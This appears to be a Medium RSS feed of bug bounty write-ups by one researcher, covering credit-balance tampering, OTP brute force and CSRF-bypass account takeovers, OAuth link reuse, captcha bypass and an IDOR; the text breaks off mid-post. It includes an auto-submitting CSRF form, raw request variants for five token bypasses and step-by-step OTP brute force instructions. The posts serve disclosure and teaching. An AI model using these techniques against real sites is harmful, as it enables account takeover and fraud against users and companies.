<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Cysky0x1 on Medium]]></title>
        <description><![CDATA[Stories by Cysky0x1 on Medium]]></description>
        <link>https://medium.com/@cysky0x1?source=rss-9d738a546c06------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*l4rPawa0DOqgnz2czCUl6g.jpeg</url>
            <title>Stories by Cysky0x1 on Medium</title>
            <link>https://medium.com/@cysky0x1?source=rss-9d738a546c06------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 07:21:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cysky0x1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I found a critical bug affecting the organization and changed money in the credit balance.]]></title>
            <link>https://cysky0x1.medium.com/how-i-found-a-critical-bug-affecting-the-organization-and-changed-money-in-the-credit-balance-b92569df5352?source=rss-9d738a546c06------2</link>
            <guid isPermaLink="false">https://medium.com/p/b92569df5352</guid>
            <dc:creator><![CDATA[Cysky0x1]]></dc:creator>
            <pubDate>Sun, 22 Dec 2024 21:10:03 GMT</pubDate>
            <atom:updated>2024-12-22T21:13:07.364Z</atom:updated>
            <content:encoded><![CDATA[<p>How I found a critical bug affecting the organization and changed money in the credit balance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/714/1*b4N_PiIx95_YS4uWYJU1Hw.jpeg" /></figure><p><em>Welcome back to my new article! I’m abdelhy khaled , a noob security researcher .</em></p><p><em>So today, we’re going to explore an intriguing vulnerability that many bug hunters tend to overlook &amp; It is nothing but an input validation bypass lead to </em>changed money in the credit balance user from 0$ to unlimited $.</p><p>What is Input Validation ?</p><p>Input validation is the process of checking user-provided data to ensure it meets required formats and constraints. It’s essential for security, preventing issues like SQL injection, cross-site scripting (XSS), buffer overflow, command injection, directory traversal and others…</p><p>My target provide is a `premium` Web Hosting Solutions , lets go to understand function to gather</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*v-MW9Di6eecauAr5KZ9sHA.png" /><figcaption>Input Validation Check Point</figcaption></figure><p>As you can see Adjust Resources CPU minimum is 8 CPU , MEM is 16 GP , Disk I/O is 16 MB/s “ this is a logic Resources”</p><p>Now click in button apply and send request :</p><pre>POST /v2/api/hosting/{ID}/upgrade HTTP/2<br>Host: target.com<br>-----------<br><br>{&quot;type&quot;:&quot;config_options&quot;,&quot;billing_cycle&quot;:&quot;monthly&quot;,&quot;step&quot;:1,&quot;config&quot;:{&quot;configoption[177]&quot;:755,&quot;configoption[178]&quot;:8,&quot;configoption[179]&quot;:16,&quot;configoption[180]&quot;:16},&quot;product_id&quot;:193,&quot;payment_method&quot;:&quot;wiretransfercheque&quot;}</pre><p>As you can see via 3 parameter “configoption[178]”:8 &amp; “configoption[179]”:16 &amp; “configoption[180]”:16 this is minimum CPU , MEM and Disk , you can set it and not allow set below this value</p><p>So as attacker i found When I thought about changing the minimum value for these resources, I found that a lot of money is added every time I reduce the value. The amount of money in my account increases, and I realized that I was able to purchase more paid products.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*Xxw2Ipuk8CXhH5RviZhKTQ.jpeg" /><figcaption>My Balance changed from 0 to 300 Euro</figcaption></figure><p>This is lead to lose money this costumer and Bypassing Authentication and verification results in money being added to the victim’s account out of nothing Due to misconfiguration in input verification and and Violating safe design principles , so quickly reported the company about this critical bug that affects the company’s financials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kq1bAnXcT2S5pYzgSpyNoA.jpeg" /><figcaption>Time to triaged</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*mWHReWloBV8NWmenXrZ_5g.jpeg" /><figcaption>And reward :)</figcaption></figure><p><em>Thank you for taking the time to read this piece. Kindly remember to leave a comment sharing your thoughts on the blog if you liked them.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b92569df5352" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Account Takeover By OTP Bypass]]></title>
            <link>https://cysky0x1.medium.com/account-takeover-by-otp-bypass-d3f7007709d5?source=rss-9d738a546c06------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3f7007709d5</guid>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[bypass]]></category>
            <category><![CDATA[otp-verification]]></category>
            <category><![CDATA[otp-bypass]]></category>
            <category><![CDATA[top-10-best]]></category>
            <dc:creator><![CDATA[Cysky0x1]]></dc:creator>
            <pubDate>Mon, 02 Oct 2023 06:04:01 GMT</pubDate>
            <atom:updated>2023-10-02T06:06:38.100Z</atom:updated>
            <content:encoded><![CDATA[<h3>“اللهم صلًّ وسلم على نبينا محمد”</h3><p>Hello Hunters!</p><p>My name is Abdelhy khaled, I am Security Researcher , It’s been a while since my last write up, so i decide to share a fun experience that i had while hunting on a private program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*qjiWx0G0qHWFiMWjA7vrsw.png" /></figure><p><strong><em>What is OTP?</em></strong></p><p>OTP stands for one-time password web application insert this function where important information is deleted or changed.</p><p><a href="https://tenor.com/en-GB/view/despicable-me-minions-lets-get-started-happy-excited-gif-4767352"><em>Let’s start</em></a><br>So As usual, I was looking for an account takeover. I created account and click on forget the password, after that, I checked my mail there I got the 4-digit OTP code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*fQ1TvM31ZGk3LUlsarBPFA.png" /></figure><p>that time 2 methodology running in my mind mainly.</p><p>1. Response manipulation</p><p>2. OTP bypass by no rate limit</p><p>Then I decided to brute force the OTP because it was 4 Digit code we can do it in a short time, so I requested for new OTP without seeing OTP I entered one random OTP and Captured the request in burp and I sent it to the intruder, there I added the number payload 0000 to 8888 and started the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*msNVt5cfqu_FisYpXvRn8g.jpeg" /></figure><p>You can see the status code 201 here I bypassed the OTP successfully. Using this bug I can hack any user without user interaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7DMcw9ExC21T-BcSP95G3w.jpeg" /></figure><p>Let me give the exact step which I write in the report.<br>steps to reproduce<br>1. Go to <a href="https://www.dmart.in/">https://www.xyz.</a>com.<br>2. Go for the password reset option.<br>3. Enter the victim’s mail id.<br>4. Enter a random 4-digit OTP.<br>5. Capture the request in burp and send it to an intruder.<br>6. Create the payload of 4 digit number and start the attack.<br>7. You can see the changes in the length and status code 200 OK.<br>8. Enter the correct OTP and change the password of the victim’s account.</p><blockquote><em>Thank you for taking the time to read this piece. Kindly remember to leave a comment sharing your thoughts on the blog if you liked them.</em></blockquote><p><a href="https://www.linkedin.com/in/abdelhy-khaled-950a33228">Feed | LinkedIn</a> — My LinkedIn Profile</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3f7007709d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How i found creative bug and how able to change the security risks from low to high?]]></title>
            <link>https://cysky0x1.medium.com/how-i-found-creative-bug-and-how-able-to-change-the-security-risks-from-low-to-high-557684b36222?source=rss-9d738a546c06------2</link>
            <guid isPermaLink="false">https://medium.com/p/557684b36222</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[account-takeover-attacks]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Cysky0x1]]></dc:creator>
            <pubDate>Sun, 10 Sep 2023 22:44:44 GMT</pubDate>
            <atom:updated>2023-09-10T23:03:13.537Z</atom:updated>
            <content:encoded><![CDATA[<h3>How i found creative bug and how able to change the impact from low to high?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*aJ1DYx5gvm7gXk3KqShH5Q.jpeg" /></figure><p>Hello everyone !!! Hope all are good and fine.</p><p>I’m back again, in this is my report i well show How i found creative bug and how able to change the impact from low to high?</p><p>Are you exciteabile????<br>Let’s go</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*5yMZcpkbrtZU0TUXHQpEow.gif" /></figure><p>First When I was trying to understand the functions of the target, I found that the user is not allowed to change his email. Well, why don’t we try to change it, but how?</p><p>Well, I tried changing the username to see what the request contains?</p><pre>firstName=attacker&amp;lastName=test&amp;gender=Male&amp;dateOfBirth=date&amp;phoneNumber=55465&amp;token=tokenUser</pre><p>In this case I add some parameters such as: email , emailUser , Email , Address, email_confirm …..etc</p><p>But all my attempts were in failure</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*eIZwBzwAITc7o1pw_q8maw.gif" /></figure><p>I left the target for hours and then tried again…</p><p>Well, it worked this time. I found that this parameter changes the user’s email after they confirm it “emailAddress” . This is a vulnerability and a violation of secure design principles</p><p>Then, let’s go report, but wait a minute!! why don’t we try raising the impact a little and get a big reward</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*LexgvtRhtyRGnr9KC9G8mw.gif" /></figure><p>Have you thought of anything else with me?!</p><p>Yahhh, of course<br>ِAccoount takeover :) , since we can change the mail there may be a weakness!!!</p><p>But the road was about to be closed!! because there was a token, but slow down, go back and read <a href="https://medium.com/@cysky0x1/my-methodology-to-bypass-csrf-token-with-5-methods-d4a334a6c08a">My methodology to bypass CSRF token with 5 Methods</a> important !!</p><p>I found “method 2” the server is not validated another csrf i able to change csrf to another csrf token account , i have successfully bypassed csrf protection and can perform i own CSRF attack.</p><p>summary</p><p>add parameter emailAddress via request to success change email &gt; bypass csrf token via change another csrf token account &gt; create csrf POC and reported ATO</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*yPQnGHPxTRKFHZvXJAVF_g.gif" /></figure><blockquote>Thank you for taking the time to read this piece. Kindly remember to leave a comment sharing your thoughts on the blog if you liked them.</blockquote><p><a href="https://www.linkedin.com/in/abdelhy-khaled-950a33228">Feed | LinkedIn</a> — My LinkedIn Profile</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=557684b36222" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Full Account takeover due to OAuth misconfiguration]]></title>
            <link>https://cysky0x1.medium.com/full-account-takeover-due-to-oauth-misconfiguration-50d8747b268e?source=rss-9d738a546c06------2</link>
            <guid isPermaLink="false">https://medium.com/p/50d8747b268e</guid>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[account-takeover-attacks]]></category>
            <dc:creator><![CDATA[Cysky0x1]]></dc:creator>
            <pubDate>Sat, 02 Sep 2023 13:43:43 GMT</pubDate>
            <atom:updated>2023-09-02T13:43:43.254Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hello Amazing Hackers… Abdelhy khaled is Here</strong></p><p>In this in Article and I will talk about how I found Account Squatting due to OAuth misconfiguration in public bug bounty program</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W5HRzkL4IGrT5B4wQQQldQ.jpeg" /></figure><p><strong>Brief about what is an Account takeover vulnerability?</strong><br>OAuth is an authorization framework used to identify and authenticate users for an application. There are a number of implementation misconfigurations which can lead to an OAuth framework being implemented insecurely.</p><p>During the OAuth based account registration process, the OAuth authorization flow creates a new account for an email address and grants access via an OAuth token without checking if there is a pre-existing account for the same email address. This allows an attacker to register an account with a legitimate email and “squat” on the account. When the legitimate user creates an account with their email address using the OAuth workflow, they are unknowingly logged into the original account that the attacker created. This means that the attacker is still able to access the account.</p><p>So let’s go</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*BUDt56t3F2kHLI4lk2E6EQ.gif" /></figure><h4>Its a very simple logical flaw that results in this</h4><p>So suppose we are <a href="/service/mailto:victim@gmail.com">victim@gmail.com</a> , now login into the website then</p><ol><li>go to account settings and change mail address to <a href="/service/mailto:victim@gmail.com">victim</a>2<a href="/service/mailto:victim111@gmail.com">@gmail.com</a></li><li>a link will be sent to <a href="/service/mailto:victim@gmail.com">victim</a>2<a href="/service/mailto:victim111@gmail.com">@gmail.com</a>, now the user realizes that he have lost access to <a href="/service/mailto:victim@gmail.com">victim</a>2<a href="/service/mailto:victim111@gmail.com">@gmail.com</a> due to some reasons</li><li>so he will probably change mail to the another mail address for e.g <a href="/service/mailto:victim999@gmail.com">victim3@gmail.com</a> which he owns and has access to</li><li>but it is found that even after verifying victim3@gmail.com, the old link which was sent to victim2@gmail.com is active, so user/attacker having access to that mail can verify it and Observe the OAuth misconfiguration that leads to account takeover</li></ol><h4>In a nutshell :</h4><p>It is mandatory for a web app to invalidate the tokens in time to secure its user <br> In this case, suppose while changing mail address the user mistakenly typed wrong mail address, so the link will be sent to that mail address. <br> So the user probably don’t want the user of that mail address to verify it, so he will quickly change his mail address to one he owns and verify it<br> what he doesn’t know is that even after verification(change of major state), the old link is still active</p><h4>the flaw :</h4><p>user changes mail to attacker@gmail.com -&gt; user realizes that he mistyped the mail -&gt; so he again changes to mail he owns and verifies it -&gt; old link sent to attacker@gmail.com is still active even after new mail has been verified</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*wbH_sHupfHCVSilSvkhoZw.gif" /></figure><blockquote>Thank you for taking the time to read this piece. Kindly remember to leave a comment sharing your thoughts on the blog.</blockquote><p><a href="https://www.linkedin.com/in/abdelhy-khaled-950a33228">Feed | LinkedIn</a> — My LinkedIn Profile</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50d8747b268e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Registration captcha bypass]]></title>
            <link>https://cysky0x1.medium.com/registration-captcha-bypass-ecdb6cd382d1?source=rss-9d738a546c06------2</link>
            <guid isPermaLink="false">https://medium.com/p/ecdb6cd382d1</guid>
            <category><![CDATA[bypass-captcha]]></category>
            <category><![CDATA[bypass]]></category>
            <dc:creator><![CDATA[Cysky0x1]]></dc:creator>
            <pubDate>Mon, 21 Aug 2023 10:11:12 GMT</pubDate>
            <atom:updated>2023-08-21T10:42:29.987Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Hunters! It’s been a while since my last write up, so i decide to share a fun experience that i had while hunting on a private program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*ITIP53OiVcamts4pvQZuuw.png" /></figure><p><strong>What the hell is a captcha?</strong></p><p>From my point of view: The captcha solver is mostly used to avoid bots and ensure that the user behind the app is a real human being.</p><blockquote><em>Share is care, so let’s go to the write up!</em></blockquote><p>So i started looking for the most common places where captcha can be found like signup, login and password reset pages. The one i found was on the Signin page like this:</p><p><a href="https://api-id.streamlabs.com/v1/auth/register">https://api-id.example.com/v1/auth/register</a></p><p>So I entered the name, email and password and I was sign up and catch request in proxy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IlHWRI9-rArVdNmeNhLbpw.png" /></figure><p>when i delete captha_token and relapse is true --&gt; &quot;captcha_token&quot;:true</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K2DlGse_w8RAedzYbBxmHA.jpeg" /><figcaption>CAPTCHA BYPASSED</figcaption></figure><p>I had read previous reports like this in the past to bypass captcha but to find one was great. Hope you learned something from this and if you liked it then please do share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*BUDt56t3F2kHLI4lk2E6EQ.gif" /></figure><blockquote><em>Thank you for taking the time to read this piece. Kindly remember to leave a comment sharing your thoughts on the blog.</em></blockquote><p><a href="https://www.linkedin.com/in/abdelhy-khaled-950a33228">Feed | LinkedIn</a> — My LinkedIn Profile</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ecdb6cd382d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My methodology to bypass CSRF token with 5 Methods]]></title>
            <link>https://cysky0x1.medium.com/my-methodology-to-bypass-csrf-token-with-5-methods-d4a334a6c08a?source=rss-9d738a546c06------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4a334a6c08a</guid>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[csrf-protection]]></category>
            <category><![CDATA[csrf-attack]]></category>
            <category><![CDATA[csrf-bypass]]></category>
            <category><![CDATA[csrf]]></category>
            <dc:creator><![CDATA[Cysky0x1]]></dc:creator>
            <pubDate>Wed, 19 Jul 2023 19:46:56 GMT</pubDate>
            <atom:updated>2023-07-19T19:46:56.577Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QLJPykCtpFg2pf_61ITtKQ.jpeg" /></figure><blockquote>Hello folks!<em><br></em>My name is Abdelhy khaled, I am Security Researcher &amp; Bug Bounty Hunter in this blog i will show my methodology to bypass csrf token with 5 different methods</blockquote><h4>What is Cross-Site Request Forgery (CSRF)?</h4><p>Cross site request forgery is a web application vulnerability attack vector that basically tricks the web browser into performing an undesired action in a vulnerable application to which a user is already logged in. A proper successful CSRF attack can be disastrous to both the user and the organisation. CSRF attacks can result in email change , password resets , profile updates , account takeovers. CSRF’s are most typically conducted by the use of social engineering such as sending the user an email or message with our CSRF html link.</p><h3>How does CSRF work actually ?</h3><p>There are some conditions for a CSRF attack to be possible :</p><ul><li><strong>An Action</strong> : There should be an API call or POST request that an attacker can take advantage of. The action can be anything like email changing , password reset , profile update , 2FA enabling etc..</li><li><strong>Cookie based Session Handling</strong> : The application must rely on the session cookies to identify which user made the request. There should be no other protection in place to track user’s request or any kind of protection like asking secret questions for an update.</li><li><strong>No Token Parameters</strong> : The requests that perform the requests do not contain any parameters which contains values that an attacker cannot guess or brute force. Example: If you are going to enable 2FA then the application is likely going to ask you to confirm your password, so in that case the attacker would not be able to successfully use CSRF because of not knowing the password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*qmYgQpOaS7xCzBoP3M1lzQ.png" /><figcaption>CSRF attack</figcaption></figure><p>Let’s take the below request as an example:</p><pre><br>POST /profile/edit HTTP/1.1<br>Host: trget.com<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 40<br>Cookie: session=xxxxxxxxxxxxxxxxxxxx<br><br>first_name=cysky0x1</pre><p>If you look in the above request , we can see that there is no kind of token available for this post request which is being sent to the server. This is where the CSRF attack vectors actually raise. The above request is basically letting the user update his profile but what an attacker can do now is , he can make a HTML document as below</p><pre>&lt;html&gt;<br>  &lt;body&gt;<br>    &lt;form action=&quot;https://redacted.com/profile/edit” method=&quot;POST&quot;&gt;<br>      &lt;input type=&quot;hidden&quot; name=“first_”name value=“Attacker” /&gt;<br>    &lt;/form&gt;<br>    &lt;script&gt;<br>      document.forms[0].submit();<br>    &lt;/script&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>Now, all the attacker has to do is make this HTML document as game.html and host this on a domain and send it to the victim as a SMS or email. Once the user clicks on the link and he is logged in to the application already then his profile’s first_name will automatically get updated to “Attacker”</p><h3>Bypass CSRF Protection</h3><p>Let’s take the below request for this section:</p><pre>POST /account/users/new HTTP/1.1<br>Host: redacted.com<br>Cookie: _ga_97CDT2HN2H=GS1.1.1641786054.8.0.1641786061.0; _ga=GA1.1.1583877464.1641386639; XSRF-TOKEN=eyJpdiI6IjNCNVJvN0hYekptSzlmQjZkVG9jcVE9PSIsInZhbHVlIjoiZ2h0MEo2S1M3K3NlUlFxdkZ3NUpWNHcvTkNmNEd6bUpsd3ErbzZoSG9pZytPd2tXN0JEenV3OStIYVpRS3kvajloRGs0WEhxQkxOcTNFWWNSNnhrNkVreEp5cTkzNU1VVW1IeDl5ZldQNEhUZ0RIL1NwOGpLVk9MckgvTzVLZ0EiLCJtYWMiOiIwNzlmZWVjYWYxOTRkNTY1MzQ1MTVlZTRlYWI3MDhiYjQ0MjNkN2JjN2I0M2EzZWI1MDEyOWQ2MWQyM2RlNGIwIiwidGFnIjoiIn0%3D<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 125<br>Origin: https://redacted.com<br>Referer: https://redacted.com/account/users<br>Upgrade-Insecure-Requests: 1<br>Te: trailers<br>Connection: close<br><br>_token=ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG&amp;name=none&amp;email=tester%40gmail.com&amp;password=testingcsrf&amp;permissions%5B%5D=all<br><br></pre><h3>Bypass Method-1</h3><p>You can remove the CSRF token from the checking parameter and forward the request. I have seen many applications have a CSRF token enabled but they do not validate if the parameter is actually filled with the CSRF token.</p><p>So, the request is going to become like this:</p><pre>POST /account/users/new HTTP/1.1<br>Host: redacted.com<br>Cookie: _ga_97CDT2HN2H=GS1.1.1641786054.8.0.1641786061.0; _ga=GA1.1.1583877464.1641386639; XSRF-TOKEN=eyJpdiI6IjNCNVJvN0hYekptSzlmQjZkVG9jcVE9PSIsInZhbHVlIjoiZ2h0MEo2S1M3K3NlUlFxdkZ3NUpWNHcvTkNmNEd6bUpsd3ErbzZoSG9pZytPd2tXN0JEenV3OStIYVpRS3kvajloRGs0WEhxQkxOcTNFWWNSNnhrNkVreEp5cTkzNU1VVW1IeDl5ZldQNEhUZ0RIL1NwOGpLVk9MckgvTzVLZ0EiLCJtYWMiOiIwNzlmZWVjYWYxOTRkNTY1MzQ1MTVlZTRlYWI3MDhiYjQ0MjNkN2JjN2I0M2EzZWI1MDEyOWQ2MWQyM2RlNGIwIiwidGFnIjoiIn0%3D; <br>User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:78.0) Gecko/20100101 Firefox/78.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 125<br>Origin: https://redacted.com<br>Referer: https://redacted.com/account/users<br>Upgrade-Insecure-Requests: 1<br>Te: trailers<br>Connection: close<br>_token=&amp;name=none&amp;email=tester%40gmail.com&amp;password=testingcsrf&amp;permissions%5B%5D=all</pre><h3>Bypass Method-2</h3><p>You can use other user’s CSRF token i.e all you have to do is create a new account and intercept the same request which is profile edit and copy the CSRF token from that request and paste that CSRF token in the first request and see if the server is actually validating if the CSRF token actually belongs to that particular user or not.</p><p>Suppose User 1 CSRF Token is : ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG</p><p>Suppose User 2 CSRF Token is : ES49jfXwQmExuz2SJGF91PK5WfMVu5sBOGgzqqvn</p><p>Now, what you have to do is copy the User 2 CSRF token and paste that token in User 1 Profile edit request and forward the request and see if the server is validating or not. If the server is actually not validating then voila you have successfully bypass csrf protection and can conduct your CSRF attacks.</p><h3>Bypass Method-3</h3><p>You can see that most of the Profile edits, password resets and 2FA enabling are POST requests but what we are going to do in this bypass is basically changing the request type to GET and removing the CSRF token parameter and forward the request.</p><p>So, the request should ultimately like the below:</p><pre>GET /account/users/new?name=none&amp;email=tester%40gmail.com&amp;password=testingcsrf&amp;permissions%5B%5D=all HTTP/1.1<br>Host: redacted.com<br>Cookie: _ga_97CDT2HN2H=GS1.1.1641786054.8.0.1641786061.0; _ga=GA1.1.1583877464.1641386639; XSRF-TOKEN=eyJpdiI6IjNCNVJvN0hYekptSzlmQjZkVG9jcVE9PSIsInZhbHVlIjoiZ2h0MEo2S1M3K3NlUlFxdkZ3NUpWNHcvTkNmNEd6bUpsd3ErbzZoSG9pZytPd2tXN0JEenV3OStIYVpRS3kvajloRGs0WEhxQkxOcTNFWWNSNnhrNkVreEp5cTkzNU1VVW1IeDl5ZldQNEhUZ0RIL1NwOGpLVk9MckgvTzVLZ0EiLCJtYWMiOiIwNzlmZWVjYWYxOTRkNTY1MzQ1MTVlZTRlYWI3MDhiYjQ0MjNkN2JjN2I0M2EzZWI1MDEyOWQ2MWQyM2RlNGIwIiwidGFnIjoiIn0%3D; <br>User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:78.0) Gecko/20100101 Firefox/78.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Origin: https://redacted.com<br>Referer: https://redacted.com/account/users<br>Upgrade-Insecure-Requests: 1<br>Te: trailers<br>Connection: close</pre><h3>Bypass Method-4</h3><p>Add random text in the CSRF token and check if the server is validating it or not. So all you have to do is this :</p><p>Real CSRF Token : ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG</p><p>Malformed CSRF Token : ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxGrandom</p><p>Now, you just have to use the malformed cstf token in your request and check for server validation. If you are lucky and the server does not validate then you have successfully bypass csrf protection and can execute your CSRF attacks.</p><h3>Bypass Method-5</h3><p>Many Web applications use a Static and Dynamic part CSRF token i.e take the below example</p><p>CSRF Token : ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG</p><p>In this CSRF token , the first 20 characters are static i.e they are same for all the users registered on the Web application and the next 20 characters are dynamic which means the last 20 characters are different for all the users. So what you can do is keep the static characters of the CSRF token same and use random text for the dynamic 20 characters. If the server is accepting the CSRF token then you have successfully bypass CSRF Protection.</p><h3>Bonus Tips</h3><p>Check for Token randomness and use BURP to automate this randomness test process and see if the token is weak or not and try to crack it. Remember to also see if the CSRF token is just a normal hash token like MD5 and if it’s actually a common algorithm then you can try creating new token using that hash algorithm and replace the token. Try changing User-Agent to Mobile User agent and see if the request is accepted.</p><blockquote>Thank you for taking the time to read this piece. Kindly remember to leave a comment sharing your thoughts on the blog.</blockquote><p><a href="https://www.linkedin.com/in/abdelhy-khaled-950a33228">Feed | LinkedIn</a> — My LinkedIn Profile</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4a334a6c08a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MY first P2-IDOR (Insecure Direct Object References)]]></title>
            <link>https://cysky0x1.medium.com/my-first-p2-idor-insecure-direct-object-references-22d780e59a0d?source=rss-9d738a546c06------2</link>
            <guid isPermaLink="false">https://medium.com/p/22d780e59a0d</guid>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Cysky0x1]]></dc:creator>
            <pubDate>Thu, 01 Jun 2023 07:40:28 GMT</pubDate>
            <atom:updated>2023-06-01T08:33:10.558Z</atom:updated>
            <content:encoded><![CDATA[<h3>MY first P2- Vulnerability IDOR (Insecure Direct Object References)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*6k1SFpYqbvoIBL66PiXqtQ.jpeg" /></figure><blockquote>Hello folks!<em><br></em>My name is Abdelhy khaled, I am Security Researcher &amp; Bug Bounty Hunter .I found an IDOR on ticket support which allows me to view any ticket submitted to the support team by the User .</blockquote><blockquote>So, before going into deep let’s have a look what is <strong>IDOR</strong>?</blockquote><h3>What is IDOR?</h3><ul><li>Insecure Direct Object References (IDOR) occur when an application exposes direct references to internal implementation objects, such as files, database records, or URLs.</li><li>It allows an attacker to bypass authorization and access resources that they should not have permission to view or modify.</li><li>Essentially, it enables unauthorized access to sensitive data by manipulating object references.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*m78Gha1p6cwcO9of.png" /></figure><h3>Understanding the Impact:</h3><ul><li>The impact of an IDOR vulnerability can be far-reaching. It can compromise the confidentiality, integrity, and availability of sensitive information.</li><li>By exploiting IDOR, an attacker may gain access to user data, personal records, financial information, or even administrative controls.</li><li>The consequences of such unauthorized access can be disastrous for individuals, businesses, and even national security.</li></ul><p>Let’s start the journey</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/268/1*j1N6V06cV9Vuc8ZPzIg9Tg.gif" /></figure><h3>Methodology</h3><p>I always enjoy spending time on manual discovery, rather than relying on automatic scanning. By analyzing the functionality of the target, I gain a better understanding of how it works. This approach is what sets great hackers apart, as it enables them to make significant discoveries. With this knowledge, one can uncover some great catches.</p><p>After working on the target for a few days and examining the name of the program, which was listed as “redacted.com”, I discovered that it was possible to create a support ticket to contact their support team. Curious to see if this feature was vulnerable, I quickly created a support ticket and found that it was stored at a specific endpoint:</p><blockquote><a href="https://redacted.com/v2/my-support/ticket/696227/"><strong><em>https://</em></strong>redacted.com<strong><em>/v2/my-support/ticket/696227</em></strong></a></blockquote><h3>Here are some points to keep in mind:</h3><ul><li>Can you find IDs that <strong>arent</strong> incremental? Sometimes an ID can be found by visiting a page or an asset.</li><li>Is the ID encoded or not in plaintext?</li><li>Can a ticket be accessed directly from the url, without needing prior authentication?</li></ul><p>At the same time, while I was checking for Stored XSS on their ticket support chat portal, I logged in and submitted a ticket with an XSS payload. However, it was filtered by the system. Subsequently, I received the ticket ID 